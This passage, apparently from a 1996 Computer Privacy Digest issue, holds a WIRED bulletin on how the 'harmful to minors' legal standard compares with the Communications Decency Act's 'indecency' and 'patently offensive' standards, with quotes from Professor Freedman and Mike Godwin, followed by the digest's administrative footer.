(c) taken as a whole, lacks serious literary, artistic, political,
or scientific value for minors.
Materials that would be acceptable under this standard include the text
of Catcher in the Rye, Ulysses, the use of the "7 dirty words" in
context, and works of art which contain nudity. These same materials
would be prohibited under an "indecency" standard
--------------------------------------------------------------------------
Notice that the Online Parental Control Act of 1996 replaces the
specific kinds of prohibtions laid out in section (b) of the "harmful
to minors" standard ("ultimate sexual acts, normal or perverted, actual
or simulated, sado-masochistic acts or abuse..." etc.) with a more
general category of "patently offensive" speech.
This warrants further scrutiny, but for now I can say this: The
definition of "patently offensive" speech is currently ambiguous. For
example, under the injunction blocking full implementation of the
Communications Decency Act, the Department of Justice is enjoined from
enforcing the "indecency" standard, but permitted to enforce the
"patently offensive" standard. Previously, the assumption had been
that "indecent" and "patently offensive" are legal synonyms.
Oy. So much semantics...
It gives me vertigo.
Nevertheless, for the moment let's assume that the pre-existing
definition of "harmful to minors" is *functionally equivalent* to the
one used in the Online Parental Control Act . As CDT obeserved in
their Policy Post above, "harmful to minors" opens the door to
categories of speech that would otherwise be blocked under the more
broad "indecency" standard. Most notably, the "harmful to minors"
standard permits the publication of works that have "serious literary,
artistic, political, or scientific value for minors."
As Professor Freedman explained to me, "The underlying purpose of the
'harmful to minors' standard is to say that you cannot altogether ban
certain types of speech. It means that you must somehow segregate
'harmful' material so minors will not be exposed to it, but it also
specifies that you can't remove it from circulation alotgether."
For example, it is largely in virtue of the "harmful to minors"
standard that some localities require copies of Hustler Magazine to be
displayed out of reach of children. But even then, the general sale
and distribution of Hustler is permitted for adults.
Professor Freedman cites the following example:
"Suppose, for example, a film of a woman compulsively masturbating.
This might have serious scientific value to adults, because it may be
the film of a patient in a mental hospital with a sexual disorder that
the scientific community is trying to cure; thus, it could not be
banned as obscene. However, the legislature could decide that it had
no scientific value to an audience of children, and thus ban it as
"harmful to minors," meaning, more accurately "obscene as to minors."
He goes on to say, "The rule is that in applying the Miller test for
that which is obscene, you may broaden it slightly to cover material
that meets the test with regard to children although not with regard to
adults."
Freedman adds, "When this has come up in subsequent cases (American
Booksellers v. Va., 484 US 483 (1988)) the focus has been pro-speech,
on making sure that any such statute is not applied so as to reduce the
entire adult population to reading only that which is fit for children,
an effect which the court said in the American Booksellers case 'this
court has repeatedly held' to be unconstitutional."
And as a practical matter, Freedman notes that when the "harmful to
minors" standard is used, law enforcement authorities *usually* focus
on eggregious violations of the code, as opposed to "borderline"
cases.
Finally, Mike Godwin from the Electronic Frontier Foundation comments,
"The good thing about 'harmful to minors' is that it acknowlegdes that
literary, artistic, political, or scientific value needs to be
protected, and that these should always be significant factors in
determining what kind of material should be criminalized. The downside
is that it creates uncertainty regarding the applicability of community
standards to a medium in which everyone is connected to one another
globally. Also, the standard does not address the variable maturity of
minors, given that what's appropriate for a 17 year-old may not be
appropriate to a 7 year-old."
--Todd Lappin-->
Section Editor
WIRED Magazine
--+--+--+--+--+--+--+--+--+--+--+--+--+--+-
This transmission was brought to you by....
THE CDA INFORMATION NETWORK
The CDA Information Network is a moderated mailing list providing
up-to-the-minute bulletins and background on efforts to overturn the
Communications Decency Act. To subscribe, send email to
<majordomo@wired.com> with "subscribe cda-bulletin" in the message
body.
WARNING: This is not a test! WARNING: This is not a drill!
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+-
------------------------------
From: "Prof. L. P. Levine" <levine@blatz.cs.uwm.edu>
Date: 17 Mar 1996 09:40:02 -0600 (CST)
Subject: Info on CPD [unchanged since 11/22/95]
Organization: University of Wisconsin-Milwaukee
The Computer Privacy Digest is a forum for discussion on the effect of
technology on privacy or vice versa. The digest is moderated and
gatewayed into the USENET newsgroup comp.society.privacy (Moderated).
Submissions should be sent to comp-privacy@uwm.edu and administrative
requests to comp-privacy-request@uwm.edu.
This digest is a forum with information contributed via Internet
eMail. Those who understand the technology also understand the ease of
forgery in this very free medium. Statements, therefore, should be
taken with a grain of salt and it should be clear that the actual
contributor might not be the person whose email address is posted at
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the moderator at the beginning of the posting. He will comply.
If you read this from the comp.society.privacy newsgroup and wish to
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On the other hand, if you read the digest eMailed to you, you generally
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Contributions generally are acknowledged within 24 hours of
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The moderator reserves the right to delete extraneous quoted material.
He may change the Subject: line of an article in order to make it
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A library of back issues is available on ftp.cs.uwm.edu [129.89.9.18].
Login as "ftp" with password identifying yourid@yoursite. The archives
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---------------------------------+-----------------------------------------
Leonard P. Levine | Moderator of: Computer Privacy Digest
Professor of Computer Science | and comp.society.privacy
University of Wisconsin-Milwaukee | Post: comp-privacy@uwm.edu
Box 784, Milwaukee WI 53201 | Information: comp-privacy-request@uwm.edu
| Gopher: gopher.cs.uwm.edu
levine@cs.uwm.edu | Web: gopher://gopher.cs.uwm.edu
---------------------------------+-----------------------------------------
------------------------------
End of Computer Privacy Digest V8 #024
******************************
.